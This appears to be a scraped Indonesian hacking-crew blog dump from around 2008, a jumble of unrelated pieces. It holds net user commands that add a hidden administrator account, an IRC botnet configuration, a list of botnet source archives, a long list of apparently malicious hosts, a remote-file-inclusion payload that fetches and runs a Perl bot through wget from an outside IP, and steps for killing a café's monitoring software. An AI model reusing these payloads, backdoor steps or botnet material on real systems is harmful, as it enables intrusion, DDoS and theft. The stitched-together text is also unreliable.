| Error Message: Your account has been disabled. Please see your system administrator. |
| Translation: Win2000 recognizes your user ID and password, but the account has been shut down. Either someone has changed the settings on your computer or your network administrator changed settings on the domain controller machine. |
| Solution: If you’re connected to a network and you log in to a domain, the network administrator is going to have to solve this issue. If you aren’t part of a domain, try logging on to the machine with an administrator account to enable your account. Click Start, Settings, and Control Panel. Double-click Administrative Tools and Computer Management. In the left pane, expand Local Users And Groups and then Users. Double-click the appropriate user name to see its properties. Remove the check mark by Account Disabled and click OK. The user ID should work as before. from: www.smartcomputing.com |
Salah Satu Alternatif Untuk Download video Di FaceBook adalah dengan menggunakan add-ons dari Browser Mozilla dengan nama add-ons Facebook Video 2.1.7
Menggunakan Addons Facebook Video 2.1.7 Gampang sekali:
1. Buka Facebook Video 2.1.7 kemudian Klik Add to Firefox.
2. Klik Install Now untuk menginstall Facebook Video 2.1.7 kedalam mozilla
3. Setelah Selesai Penginstalan Restart Mozilla Untuk Menggunakan Facebook Video 2.1.7
hanya Dengan 3 langkah saja Facebook Video 2.1.7 sudah terinstall dan langsung dapat mendownload video dari FaceBook
Sebelum Facebook Video 2.1.7 Di Install
Setelah Facebook Video 2.1.7 Di Install
Pilih Video Yang Kamu Suka, Kemudian Pilih Download Video.
Mudah Bukan
Salam hangat:
By AnakDompu
NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]
C:\>net user AnakDompu password /add
The command completed successfully.
Menambahkan User Pada System Windows
C:\>net user AnakDompu
User name AnakDompu
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never Password last set 12/6/2008 4:05 PM
Password expires Never
Password changeable 12/6/2008 4:05 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\>net localgroup Administrators AnakDompu /add
The command completed successfully.
C:\>net user AnakDompu
User name AnakDompu
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never Password last set 12/6/2008 4:05 PM
Password expires Never
Password changeable 12/6/2008 4:05 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
Untuk menghapus User tinggal masukkan perintah:
C:\>net user user /delete
NickServ - nickname management services. NickServ allows your users to register their nickname to prevent others from stealing their nickname. Your users will also be able to kill any ghost connections with their nickname and will be able to group their most-used nicknames together so they can use the same set of settings and access for all of their nicknames.
ChanServ - channel management services. ChanServ provides the ability to register your channels. This way ChanServ can be used to give channel operator status to regular operators, or to lock other modes or a topic for your channel. Our version of ChanServ provides a very complete set of features for channel management, allowing complete control over your channel.
MemoServ - send memos to users or channels. MemoServ offers a way to send short messages to users who are currently offline, or to entire channels if you wish. This allows you and your users to quickly tell offline users something, without a chance of forgetting it.
OperServ - operator utility services. OperServ provides a very complete set of functionality for IRC Operators, allowing them to operate their network in a very efficient way. Including often used features like akills and session limiting, this black box for IRC Operators ensures a safe and easy to manage IRC network.
BotServ - channel bot services. BotServ allows you to create several bots for your network. These bots can join channels and take over most actions from ChanServ, making things just a tad more intuitive. Additionally, BotServ also adds a few features like fantasy commands and kick triggers.
HostServ - virtual host services. HostServ offers a way to easily provide virtual hosts to the users on your network. If your IRCd supports virtual hosts HostServ can be used as a very easy interface for setting them, and enables the virtual host every time a user joins the network.
-OperServ- End of users list.
-
-OperServ- Access denied.
-
* Your nick is now FuRkaN
-
-NickServ- This nickname is registered and protected. If it is your
-
-NickServ- nick, type /msg NickServ IDENTIFY password. Otherwise,
-
-NickServ- please choose a different nick.
-
-NickServ- Password accepted - you are now recognized.
-
-HostServ- Your vhost of Shinchi.Memang.C-a-K-e-p.Co.Cc is now activated.
-
-Irc.Shinchi.Co.Cc- *** LocOps -- Received SQUIT services.Shinchi.Co.Cc from services.Shinchi.Co.Cc[xXx.xX.Xx.X] (RESTART command received from FuRkaN)
-
Irc.Shinchi.Co.Cc (1) 100
`-Irc.Defacer.biz (26) 1
End of /MAP
-
-Irc.Shinchi.Co.Cc- *** Notice -- (link) Link Irc.Shinchi.Co.Cc -> services.Shinchi.Co.Cc[@xXx.xX.Xx.X.1984] established
-
-Irc.Shinchi.Co.Cc- *** Notice -- Link services.Shinchi.Co.Cc -> Irc.Shinchi.Co.Cc is now synced [secs: 10 recv: 2.345 sent: 11.115]
-
Irc.Shinchi.Co.Cc (1) 100
|-services.Shinchi.Co.Cc (10)
`-Irc.Defacer.biz (26) 1
End of /MAP
"server"=>"irc.indoirc.net",
"port"=>"6667",
"pass"=>"Walau.Jelek.Tetap.Bilang.Cakep.La",
"prefix"=>"ManieZ",
"maxrand"=>8,
"chan"=>"#AnakDompu",
"chan2"=>"#AnakDompu",
"key"=>"",
"modes"=>"+iBx",
"password"=>"AnakDompu",
"trigger"=>"~",
"hostauth"=>"Orang.Cakep.Tetap.Bilang.C-a-K-e-P.Co.Cc" // * for any hostname
Botnet List
120-MSSQL-SYM-NTPASS-VNC-NETAPI-2007.rar
120-PSTORE-MSSQL-SYM-NTPASS-VNC-NETAPI-2007.rar
120-[BruteTest]-V0.5.rar
120-[DVNC-TEST]-DDOS-V1.0.rar
120-[ModBot]-SNIFF-SP2-KEYLOG-NICK-VNCBRUTE.rar
120-[ModBot]-SNIFF-VNCBRUTE-SP2FIX-NICK.rar
120-[ModBot]-SP2FIX-SYM-VNCBRUTE.rar
120-[ModBot]-V0.5.rar
120-[ModBot]-V1.0.rar
120-[ModBot]-VNCBRUTE-MSSQL-2007.rar
120-[SP2-PATCH-BRUTE]-V2.0.rar
120-[SP2-PATCH]-V2.0.rar
120-[SP2FIX-VNCBrute-Mohaa]-STRIP V1.0.rar
120-[SP2FIX-VNCBrute-Mohaa]-Test V1.0.rar
120-[SP2fix-VncBrute]-FINALV1.0.rar
120-[netapi-sym-mohaa]-(vncbrute-sp2patch).rar
@@ SKUZ FIXED DDOS @@.rar
AkBot-x0r-dns.rar
AkBot_IRC-VERSION_DLL-DNS.rar
AkBot_IRC-VERSION_DLL.rar
AkBot_IRC_-lsd_mod.rar
Akbot_v0.4.1_netapi_.rar
CYBERBOTv2.2-Stable.m0dd_ownz.DreamWoRK.rar
Dbot.v3.1.rar
GENTOOreptile-base.rar
H-Bot M0d 3.0 M0dd3d by TH & Sculay.rar
NITE-AIM.rar
Phatbot-NortonBot.rar
Phatbot-gh3tt0Bot.rar
Q8Bot.rar
RAR_Password_ Cracked_v4[1].12(iimad).rar
RX-120-MYSQL-V2.rar
RX-120-MYSQL-V999.rar
RX-120-MYSQL1THREAD-V2.rar
RX-120-MYSQLBRUTE-V2.rar
RX-GUTTED.rar
RX-STRIP-BOTKILLER-0.5.rar
RXB()tM()d-VNC-NETAPI-ASN-2006.rar
Rose v1.3 2007 by DreamWoRK.rar
Rouge-Bots_xdcc.rar
Ruffbot1.2-MassAsnPrivShit-150705.rar
Rx120-VnC-Brute+pStore.rar
Rxbot v8 Ftp+Tftp.rar
Rxbot v8 Ftp-Tftp.rar
Rxbot-ak-0.7-Modded.by.Uncanny.rar
Rxbot-ak-7.7-fira-pviv8.rar
Rxbot_7.6-Modded-Tr0gdor.rar
SDBOTNTSharesHardCorePrivM0D.rar
SDBot_with_NB spreader.rar
SDbot05b-getadm.rar
SKUZ-NETAPI_VNC_ASN-2006.rar
Sbot.rar
Sdbot_Hardcore_Mod_By_StOner.zip
SkuZ-Netapi-VNC-IM.rar
SkuZ-Netapi-Vnc-M0D-XXX-06-BuZ.rar
SkuZ-Netapi-Vnc-Sym-IM-2007.rar
SkuZ-VNC-NETAPI-SYM-SP2-MOD.rar
SkuZ-VNC-TFTP-GOOD-2006.rar
SkuZ-VnC-NeTaPi-BaN-2006.rar
SnRxBot.rar
SpazBot.rar
Stripped-RXV8.rar
VBbot.zip
VIRC.rar
Wiseg3ck0-AIM-DDOS-.rar
X-Bot.rar
[RxBot.F-UP.lsass+sasser.ftpd.1].rar
[sHk-Bot.svchost-ns-dev.NOT-FOR-RELEASE].rar
abot.rar
agobot3-0.2.1-pre4-fix1-priv-mod.rar
agobot3-0.2.1-pre4-priv.rar
agobot3-priv4.rar
agobot3_current.rar
boats.rar
bot.rar
bothacker.rar
db31.rar
db31x2007.rar
dbot.rar
dopebot0.22.rar
frozenbot6.rar
gbot_0_10.zip
gspot.zip
harvecter_bot.rar
hellbot10-06-05.rar
myudf.rar
nekilla.rar
niggerbot-vnc-nocrypt.rar
nuclearBot.rar
nzmlite+sym.rar
nzmlite.rar
phat-bot_current.rar
phatbot_alpha1.rar
phatbot_ghetto.v.0.5.rar
rBoT_oTh3R-dImeNsIoN_4.4x.rar
rBot v0.6.6 priv lsass.rar
rBot-0.3.2-SMOD-RPMiSO-EDiTION.rar
rBot-nzm-m0d.rar
rBot.(rXBot).FTPD.iTALY_DoS_Resilient_RPMiSO_Final_Mod.rar
rBot.Antrhax.lsass.optix.masterpass.rar
rBot0.3.3Pub.rar
rBot_(rXbot)DoS_ResilienT_7252004.rar
rBot_(rxbot)_041504-dcom-lsass-priv-fixedOptix.rar
rBot_060104_RxBot_v0.6.6a.pk_Isass_VG_Pr1v8.rar
rBot_060104_RxBot_v0.7.8.pk_Isass_VG_Pr1v8.rar
rBot_dimensionfix_v.4.3.rar
rKxbot022b.rar
rXSass_v0.7.7.rar
rX_lsdigital_Mod_priv.rar
radmin-scanner.rar
ravbot.rar
rbot-0.3.2-fix1-public.rar
rbot-incv3b.rar
rbot0.2-scionix-102b-working.rar
rbot_blood_mod.rar
rbot_dnsquery2007.rar
reptile-pnp.rar
reptile.03.PNP.ASN.rar
reptile.03.PNP.ASN_improved-psniff-undetected_VNC.rar
rpmrx.rar
rx v8-FINAL.rar
rx-ASN_MOD.rar
rx-asn-2-re-worked v3.rar
rx-mp.rar
rx-sky2kpnpprivate.rar
rx.rar
rxBot v0.7.7 Sass.pub.rar
rxBot v0.7.7 Sass.rar
rxBot-FTPD.rar
rxBot-sxt-harro.rar
rxBot0.6.5.rar
rxBot0.6.5PK.rar
rxBot0.6.6a.rar
rxBot0.6.6d-priv+stable-CoKeHeAd.rar
rxBot0.6.6d-priv-lsass2-bleh.rar
rxBot_v0.7.7_Sass-priv8.rar
rx_dev+service+working_lsass+sasser+ftpd.rar
rxb066b_iis5ssl.rar
rxbot-EcLiPsE1.1.priv.rar
rxbot69Dfix.rar
rxbot7.5.rar
rxbot_0.5.6_pk_lsass.rar
rxbot_v0.6.5_pk__lsdigital_spreader.rar
rxhellbot_v8.8.rar
sd with fake xdcc by Synco.zip
sd_fake_xdcc_by_Synco.zip
sdbot-b0rg-by-okasvi.rar
sdbot-ntpass-codefix-nils-22.10.03.rar
sdbot-syn-nbspread.zip
sdbot04b.rar
sdbot04b.zip
sdbot05a.rar
sdbot05a.zip
sdbot05b-AE.zip
sdbot05b-ago.rar
sdbot05b.rar
sdbot05b[skbot]_mods_by_sketch.rar
sdbot05b_skbot__mods_by_sketch.rar
sdbot05b_syn_&_nick.rar
sdbot_syn.zip
sdbot_syn_secure_1.zip
sdbot_synx.zip
sdbotconstant_nick_mod.rar
sdboti3s.rar
sdbotvnc.rar
sdnbbot_sp2mod_wks_kelvir.rar
shadowbotv3-skysyn.rar
shadowbotv3.rar
skybot.rar
spybot1.3.zip
spybot1.4.zip
tbot-mod.rar
tgspynt.rar
wisdom-modded.rar
wisdom.rar
wisdom3.rar
wisdom_phr0st_modd.zip
woopiebot.rar
xTBot.0.0.2-priv.rar
zunker.zip
zunkerbot.zip
Download
0x0134.lan.io/
0x0c.es/
0x3D.0x1F.0x10.0xA7/
0xg3458.hub.io/
.110mb.com/
118.98.214.221/
122.208.207.230/
12.30.229.109/
123123.itrello.com/
123456789leo.fileave.com/
123.wwwwool.cn/
125.246.173.67/
125.32.112.207/
128.175.10.3/
1337h4x.dyndns.org/
140.111.13.68/
140.119.80.185/
140.128.187.8/
141.84.238.34/
142.176.17.11/
147741147.fileave.com/
148.245.107.2/
150.35.244.118/
157.252.98.142/
163.19.174.121/
163.21.14.134/
163.22.96.1/
163.23.111.222/
163.23.99.193/
171817.171817.com/
1800-search.com/
190.7.235.5/
190.8.128.58/
192.168.1.7/
193.17.85.198/
193.200.193.236/
194.169.192.121/
194.177.97.246/
194.181.6.216/
195.93.218.25/
199k.info/
1.ads555.com/
1nb0x.iespana.es/
1.xks08.com/
200.113.182.114/
200.115.133.244/
200.167.24.12/
200.169.80.9/
200.171.85.170/
200.179.124.51/
200.206.133.225/
200.220.159.91/
200.220.215.214/
200.225.73.102/
200.26.140.102/
200.32.8.218/
2005-search.com/
200.60.235.74/
200.78.235.178/
2007.cultuurmarathon.nl/
201.29.26.214/
201.29.73.234/
201.29.97.185/
201.51.198.224/
201.59.14.195/
201.6.243.67/
202.102.135.97/
202.143.148.58/
203.109.16.67/
203.71.212.3/
203.71.239.19/
204.11.228.115/
205.177.122.100/
205.234.128.98/
206.161.127.72/
206.173.113.154/
206.51.233.130/
207.150.184.73/
207.234.185.217/
207.35.44.70/
208.179.140.215/
208.241.177.80/
208.53.183.183/
208.56.164.70/
208.7.42.36/
209.12.111.117/
209.250.234.234/
209.40.202.204/
209.43.123.143/
209.51.138.194/
210.11.174.71/
210.176.70.186/
210.210.3.73/
210.71.66.24/
211.115.80.203/
211.140.51.12/
211.182.212.135/
211.233.58.69/
212.115.13.140/
212.128.140.23/
212.239.40.78/
212.78.204.20/
213.16.42.226/
213.167.146.194/
213.171.222.111/
213.180.78.232/
213.184.65.80/
213.189.224.23/
213.221.110.73/
213.240.162.170/
213.92.110.91/
213.93.59.44/
216.120.252.101/
216.126.65.86/
216.133.246.52/
216.139.236.19/
216.152.240.10/
216.152.240.11/
216.152.240.12/
216.152.240.13/
216.152.240.14/
216.191.16.12/
216.191.16.13/
216.235.245.18/
216.69.161.193/
217.119.53.111/
217.125.24.22/
217.126.22.22/
217.133.33.1/
217.19.190.202/
217.73.66.1/
217.79.220.27/
217.79.68.17/
218.10.111.119/
218.150.108.56/
218.150.110.122/
218.38.34.152/
218.75.91.254/
218.84.59.218/
219.150.93.35/
220-133-170-132.hinet-ip.hinet.net/
220.134.235.165/
220.189.255.29/
222.122.158.125/
222.236.44.154/
222.73.247.201/
222.73.247.202/
222.73.254.67/
25gvt.webcindario.com/
268ip.com/
2697postscards.my2gig.com/
2eat.com.au/
2.trojan8.com/
306hosting.net/
3322.net/
.3322.org/
33.xingaide8.cn/
34639.webtest.goneo.de/
3dmr.gamedesign.net/
3dsymax.org/
3sk3nt.kit.net/
3traff.com/
4internetgold.com/
51.la/
58.211.8.15/
58.65.234.105/
58.65.239.42/
59.124.30.101/
59.127.40.143/
59.33.247.30/
5kittens.net/
60.190.118.140/
60.190.118.15/
60.190.118.182/
60.190.118.203/
60.190.118.31/
60.190.118.50/
60.190.118.71/
60.248.47.52/
61.100.228.37/
61.129.163.4/
61.129.45.132/
61.160.208.114/
61.191.55.216/
61.19.234.26/
61.53.235.92/
62.140.224.114/
62.178.28.13/
62.213.0.8/
62.21.83.40/
62.75.169.198/
64.185.237.35/
64.22.125.219/
64.28.184.168/
64.28.184.170/
64.28.184.172/
64.28.184.173/
64.28.184.178/
64.28.184.185/
64.28.184.201/
64.28.184.202/
64.32.13.169/
64.40.146.64/
64.70.238.131/
64.80.59.216/
65.18.209.152/
65.247.182.200/
.6600.org/
66.152.93.119/
66.153.86.221/
66.175.197.174/
66.194.79.1/
66.220.17.157/
66.220.9.57/
66.223.105.18/
66.240.181.129/
.663.com.cn/
66.45.235.228/
66.7.194.228/
66.77.165.68/
66.84.35.218/
67.15.84.42/
67.18.123.162/
67.19.102.178/
67.198.192.27/
67.37.243.69/
68.178.218.158/
69.20.25.92/
69.50.161.126/
69.64.50.43/
69.7.205.108/
69.88.133.133/
#!/usr/bin/perl
#
########################################################
# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata
# Anak
# _____
# ( ___ ) _____ __ ___ ____ _ _
# | | \ \( _ )( \/ )( _ )( ) ( )
# _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu
# ////| | | ) | | || |\/ | || ___)| | | | / crew
# | |__/ /| (_) || | | || | | |_| |
# (_____) (_____)(_) (_)(_) (_____)
#
# AnakDompu [on] Dalnet © 2008
#
#
########################################################
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
##################################################
# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™ #
# www.AnakDompu.by.ru #
# Created By Shinchi #
# #AnakDompu #
# irc.dal.net #
##################################################
# awk '{ print $1 }' Bad hits look like:
GET /tag//files/carprss.php?CarpPath=http://216.191.16.12/ \
.shell/site/iyes.txt??
I downloaded the file iyest.txt, it’s a PHP script which contains lot of lines such:
@passthru('cd /tmp;wget http://216.191.16.12/.shell/site/ \
hai.txt;perl hai.txt;rm -f hai.txt*');
This IP address belongs to AllStream, a Canadian Internet provider.
After a successful download via the URL above, the code is parsed and executed by carprss.php. I downloaded hai.txt. It’s a Perl script which performs several tasks:
#!/usr/bin/perl
#
########################################################
# Ketika Rasa Tak Dapat Di Ungkap Dengan Kata
# Anak
# _____
# ( ___ ) _____ __ ___ ____ _ _
# | | \ \( _ )( \/ )( _ )( ) ( )
# _\\\\|_|_ _|_)_(_)_||_\__/|_||_|)_||_|_|_|_\ AnakDompu
# ////| | | ) | | || |\/ | || ___)| | | | / crew
# | |__/ /| (_) || | | || | | |_| |
# (_____) (_____)(_) (_)(_) (_____)
#
# AnakDompu [on] Dalnet © 2008
#
#
########################################################
It set up an IRC bot which try to connect to 61.246.177.225:65500 and join channel #d0s:
# telnet 61.246.177.225 65500
Trying 61.246.177.225...
Connected to 61.246.177.225.
Escape character is '^]'.
:irc.Indonesia.B0tN3t.org NOTICE AUTH :*** Looking up your hostname...
:irc.Indonesia.B0tN3t.org NOTICE AUTH :*** Found your hostname
This IP address belongs to AirTel, an Internet provider in New-Delhi.
The bot understands the following commands: “user”, “restart”, “mail”, “safe”, “inbox”, “conback”, “dns”, “info”, “vunl”, “bot”, “uname”, “rndnick”, “raw”, “eval”, “sexec”, “exec”, “passthru”, “popen”, “system”, “pscan”, “ud.server”, “download”, “die”, “logout”, “udpflood”, “tcpflood”.
How to avoid this kind of attack? First, run patched software! But how to prevent them?
I do not publish the scripts here but I kept a copy of them. Ask me if you need to have a look at it “for study only”. If you have more information, let share them!
On 5/12/08, Micha** **** **** wrote:
Micha** **** **** wrote:
>
> Dear Mr. P*****A a.k.a Black_Claw a.k.a blaxnux,
> we would like to ask you a few details, about a group
> known as “AnakDompu”, which is somehow related to you.
> As you can also find in google, “AnakDompu” crew are
> are famous for web attacking most of russia and china site for
> past 6 months,including goverment sites. We are not
> judging since it is still unclear about it yet since
> the attacker IP seems diffrent from yours, but it is
> no doubt that the nick that you use are cleary seen
> on the hacked page. It maybe just a same handle, but
> during research, we also found that a few words also
> lead us to you. We hope that this is just a
> missunderstanding and we wait for your reply.
>
>
> Sincerely,
> Micha** **** ****
Loh, ada apa ini? Perasaan saya pernah denger masalah AnakDompu ini tapi dimana ya? Setahu saya hal yang berkaitan dengan AnakDompu ini adalah akun wotpres Rhakateza disaspen kemarin. Maka saya googling sajalah, dan saya menemukan ini :
Korespondensi Perusahaan
Nama: Tn. Furkan [Direktur/CEO/Manajer Umum]
E-mail:
Situs Web: http://anakdompu.blogspot.com
Pesan InstanNomer Telpon: 081804297445
Nomer Faks: —
Alamat: Jln. Merpati no 47 Dompu NTB
Dompu, Nusa Tenggara Barat
IndonesiaSifat Dasar Usaha Jasa dari kategori Komputer & Software
Penjelasan Ringkas
AnakDompu merupakan Nama Sebuah Komunitas Yang Berasal Dari Dompu Nusa Tenggara Barat
AnakDompu Bergerak Dalam Bidang Teknologi Informasi. Merupakan Suatu Komunitas Yang di dalamnya terdapat Berbagai macam Suku Dan KOmunitas yang terpentuk Dengan Nama AnakDompu
Lah, ini sejak kapan si Ukang bikin perusahaan? Direktur pulak! Lah, tapi masak ini penyebabnya itu imel nowel-nowel saya. Kan tidak masuk akal. Tapi kemudian saya nemu yang ini :
http://cgaprogram.com/images/dompucrew.html
#AnakDompu @Dalnet 2008
AnakDompu
Greets
Shinchi, Black_Claw, silverx, Rhakateza, ab-enk, onny, [E]mine[M], Artexdabox , JaLi-, O_L_O, Slack-ware, jok3rsmd, H4ntu_Cyber, BeRgUnDaL, And All AnakDompu Crew
Special Thank’s to :
All Crew Chan : #AnakBatam, #sysHACK, #powHACK, #CR@CKER, #e-c-h-o, #yogyafree, #becak, #kuburan, #24jam, #jepang, #0-9
Kemudian yang ini :
http://www.matchent.com/wpress/?q=node/267
A bit better regarding the file cmd.txt which got a score of 11/32.
ClamAV calls this one PHP.Shell
I found one little piece of code in one of the files:
echo “AnakDompu“;
Which apparently leads to some Indonesian guys.
So I am a bit in doubt about who these guys are; Albanians, Russians, Turks or Indonesians?
AnakDompu gives some hits to pages apparently related to hacking, e.g. http://shinchi.wordpress.com/ , http://samada.wordpress.com/ , http://anakdompu.blogspot.com/ and http://anakdompu.wordpress.com/. And irc-channels on IndoIRC and DALnet.
l33t scriptkiddies who ruin other sites for fun? I think those days are over and most attacks nowadays are economically motivated.
It’s a dangerous world.
WTF! UKANG!!! Lah apa yang saya ajarkan dulu memangnya? Saya kira setelah nick Shinchi berhenti ngejar target nama di zone H semuanya sudah usai. Ternyata kok masih sama saja.
Lah macam ini seh malah menjelekkan nama daerah bapakmu namanya ndul. Cobak itu diselami kata-kata tuduhannya: “l33t scriptkiddies who ruin other sites for fun?” - “anak kecil nyekrip l33t yang menghancurkan situs demi kesenangan?”, dan lebih dari itu, saya dimasukkan dalam kategori tersebut karna saya “some Indonesian guys”? Aduhai, mohon maaf, sepertinya sudah lebih dari semilenium saya ninggalin yang namanya operasi plastik muka orang terus ditempelin nama saya buat senang-senang doang.
Saya memang nggak suci-suci amat dan ilmu saya jauh dibawah orang lain, tapi mbok ya setidaknya yang seperti itu tidak usah terlalu diumbarlah. Sudah cukup kegiatan corat-coret ini. Kalau kayak begini ya sampek hari kiamat juga yang kamu tau cuman RFI, LFI, sama EsKiEl. Kapan dewasanya? Masih banyak cara untuk mengangkat nama -atau mungkin di kasus kamu nama daerah- dengan cara yang lebih keren. Aktif di pengembangan opensors misalnya. Cobak walaupun kamu sama Ivan masih nguliah di jogja, bantulah saya gimana caranya supaya rotsow bisa kejadian di Dompu kek.
Tidak heran blog kamu disuspen, beserta semua yang lain yang ada di wotpres. Makanya baca itu TOA, nak. Baru kali ini saya melihat ada orang yang tega-teganya makek wotpres gretong untuk Remot Fail Inklusyen :
claroline/inc/claro_init_header.
inc.php?includePath=http://anakdompu.files.wordpress.com/2008/03/special.txt?
Ah, tapi kadang lucu juga melihatnya. Dompu, sebuah tempat fakir benwit yang bahkan nggak masuk di peta, yang dipandang rendah bahkan oleh kabupaten lain yang se-propinsi, bisa wira-wiri di kancah benwit kelas berat, dan parahnya, untuk bidang yang kurang baik pula…
Saya sering melihat langit Dompu dikala malam, jika tidak ada awan, jika langit tidak ditutupi apapun. Saya bisa melihat bintang. Saya bisa melihat horison. Saya kadang bahkan bisa menangkap kabut galaksi. Hal-hal yang sangat susah ditemui di langit di pulau Jawa. Membuat jika saya menyiulkan konserto eyecatch dari One More Time, One More Chance nya Byousoku 5cm, serasa daun mangga berubah menjadi kelopak bunga sakura yang jatuh bagaikan salju dengan kecepatan 5 sentimeter per detik…
Jadi kenapa harus memperburuk nama daerah yang bernaung dibawah langit seindah itu?
Source from : http://blackclaw.wordpress.com
Install SnadBoy’s Revelation
SnadBoy’s Revelation Merupakan Sebuah Tools Untuk melihat password dengan cara menggeser cursor dari SnadBoy. Untuk Lengkapnya silahkan baca : SnadBoy’s
Setelah mendownload file SnadBoy’s Revelation dan di unzip, klik 2 kali pada installer SetupRevelationV2.exe
Klik Next Untuk Menginstall, Klik Cancel untuk membatalkan penginstallan.
Pilih Folder tempat Snadboy’s akan di install, pilih defauld folder yang sudah di tentukan oleh Snadboy’s kemudian pilih Next.
Masukkan Program manager group atau tanpa di ubah, langsung hamtam Next, Cancel untuk membatalkan install. Tunggu sesaat dan Program akan di install.
Klik Finish, berarti Installan telah selesai di lakukan.
Klik Start => Program => SnadBoy’s Revelation v2 => Revelation
Untuk memulai/menjalankan program SnadBoy’s.
Tampilan SnadBoy’s Revelation v2 Selesai.
Alternatif Link Untuk Download SnadBoy’s Revelation v2 :
http://www.futuracomputadores.trix.net
http://student.agh.edu.pl
Shinchi #AnakDompu
source : Install SnadBoy’s Revelation
SnadBoy’s Revelation Merupakan Free software atau Freeware, yang tidak di pungut biaya atau gratis.
SnadBoy’s Revelation Berguna untuk melihat password-password yang tidak kelihatan, sehingga dengan bantuan tools ini kita dapat melihat hanya dengan drag and drop cursor ke tempat password berada, dan akan lengsung di tampilkan pada layar Snadboy’s.
situs Resminya :
http://www.snadboy.com
source : snadboys-revelation-v2
Tak Heran Kalau Tiba-tiba saja Mouse bergerak kesana kemari, atau mungkin juga komputer yang kita gunakan di warnet(Warung Internet) tiba-tiba saja restart sendiri, atau mungkin juga shutdown sendiri.
Ya masalah itu bisa virus dan juga bisa Admin, ataupun Op warnet.
Radmin bukanlah suatu software yang jarang kita dengar, radmin jg sudah banyak di gunakan pada warnet-warnet, khususnya untuk membantu memanajemen jaringan, ataupun Lan, agar tidak perlu capek-capek ke masing-masing pc hanya untuk restart ataupun shuwdown ya bisa juga install, maka di pakailah Radmin untuk melakukan itu semua dengan hanya duduk pada komputer OP, dan tinggal meremote komputer yang telah di install Radmin.
Untuk Menjaga-jaga, apakah kita sedang di awasi, atau mungkin di lihat aktivitas yang sedang kita lakukan saat browsing, ataupun chatting. buka cmd :
Start => run => cmd
ketikan tasklist
C:\Documents and Settings\Administrator>tasklist
Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 16 K
System 4 Console 0 24 K
smss.exe 644 Console 0 32 K
csrss.exe 712 Console 0 1.544 K
winlogon.exe 736 Console 0 1.480 K
services.exe 820 Console 0 868 K
lsass.exe 832 Console 0 1.708 K
DF5Serv.exe 988 Console 0 1.100 K
svchost.exe 1020 Console 0 1.648 K
svchost.exe 1108 Console 0 1.092 K
svchost.exe 1208 Console 0 5.976 K
svchost.exe 1276 Console 0 236 K
svchost.exe 1372 Console 0 1.516 K
spoolsv.exe 1408 Console 0 872 K
mdm.exe 1540 Console 0 384 K
r_server.exe 1564 Console 0 76 K
svchost.exe 1696 Console 0 1.448 K
client008.exe 1716 Console 0 2.048 K
explorer.exe 232 Console 0 6.392 K
FrzState2k.exe 228 Console 0 332 K
daemon.exe 336 Console 0 400 K
firefox.exe 1180 Console 0 15.820 K
mspaint.exe 1444 Console 0 832 K
cmd.exe 1360 Console 0 2.524 K
notepad.exe 1868 Console 0 2.812 K
tasklist.exe 708 Console 0 4.140 K
wmiprvse.exe 680 Console 0 5.460 KC:\Documents and Settings\Administrator>
Kalau memang muncu, ataupun ada yang namanya r_server.exe, berarti kemungkinan bisa-bisa saja kita di remote oleh operator. kan bisa saja.
lagi asik2 baca yang rahasia, kemudian malah ada orang lain jg yang membacanya, yang kita harap hanya kita yang tahu, tapi ada orang lain yang secara sembunyi2 melihat aktivitas kita.
agar program r_server.exe tidak di jalankan, caranya adalah. ketikkan perintah pada cmd.
r_server.exe /stop
atau perintah :
tastkkill /im r_server.exe /t
 by : www.freewarefiles.com | RunScanner is a completely free windows system utility which scans your system for all configured running programs. You can use runscanner to detect autostart programs, spyware, adware, homepage hijackers, unverified drivers and other problems. You can import and export your results and let other people help you to solve your problems. |
| Download | SERVER 1: Software Author |
| Download | SERVER 2: FreewareFiles U.S. |
| Download | SERVER 3: Australia |
The following is a list of tools we have collected over the years.
General Security Tool Sites
| Hackersclub | |
| NewOrder | |
| Security-Focus | |
| Technotronic |
Countermeasure Tools
| BlackICE by NetworkICE | |
| CyberCop Monitor by Network Associates Inc. | |
| Hidden Object Locator | |
| Ippl | |
| ITA from Axent | |
| Kane Security Monitor | |
| Netguard | http://www.Genocide2600.com/~tattooman/unix-loggers/netguard-1.0.0.tar.gz |
| Network Flight Recorder | |
| Perro (formerly Protolog) | |
| Psionic Portsentry from the Abacus project | |
| RealSecure by Internet Security Systems (ISS) | |
| Scanlogd | |
| Secured by Memco | |
| Secure Shell (SSH) | |
| SessionWall-3 by Abirnet/Platinum Technology |
Denial of Service
Enumeration Tools
| Bindery | |
| Bindin | ftp://ftp.edv-himmelbauer.co.at/Novell.3x/TESTPROG/BINDIN.EXE |
| Epdump | |
| Finger | |
| Legion | |
| NDSsnoop | |
| NetBios Auditing Tool (NAT) | |
| Netcat by Hobbit | |
| Netviewx | |
| Nslist | |
| On-Site Admin | |
| Snlist | |
| Somarsoft (dumpacl, dumpreg, etc.) | |
| user2sid and sid2user | |
| Userdump | |
| Userinfo |
Footprinting Tools
| ARIN database | |
| Cyberarmy | |
| Dogpile (meta search engine) | |
| DomTools (axfr) | |
| Ferretsoft | |
| Sam Spade | |
| Securities and Exchange Commission (SEC) | |
| USENET Searching | |
| VisualRoute | |
| WHOIS database | |
| WS_ Ping Pack Pro |
Gaining Access
| L0phtcrack's Readsmb | |
| Legion | |
| NetBios Auditing Tool (NAT) | |
| Nwpcrack | |
| SMBgrind by NAI | Included with CyberCop Scanner from Network Associates (http://www.nai.com) |
| Sniffit | |
| SNMPsniff | http://www.AntiCode.com/archives/network-sniffers/snmpsniff-1_0.tgz |
| THC login/telnet |
Privilege Escalation and Back Door Tools
